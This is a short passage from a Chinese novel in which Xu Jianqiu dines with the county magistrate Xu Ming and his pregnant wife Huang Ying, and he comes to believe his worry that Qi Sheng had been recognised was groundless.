女子闻声回身,许见秋这才注意到,对方小腹微微隆起,应当是怀孕了。难怪县令夫人几乎不露面,原来是在家养胎。 黄莺视线落在许见秋身上,迎上前笑道:“原来这就是然哥儿常说的许家哥儿,果然生得妙。” 女子眼里是温和真诚的笑意,许见秋眼睫动了动,耳根微红:“多谢夫人谬赞。” 黄莺又笑了两声,拉着他落座。 席间,徐明和黄莺皆未表现出任何恶意,只谈木城的风土人情和趣事,偶尔提及然哥儿,许见秋渐渐放松下来。 也许徐明根本就没有认出祁胜,是他虚惊一场了。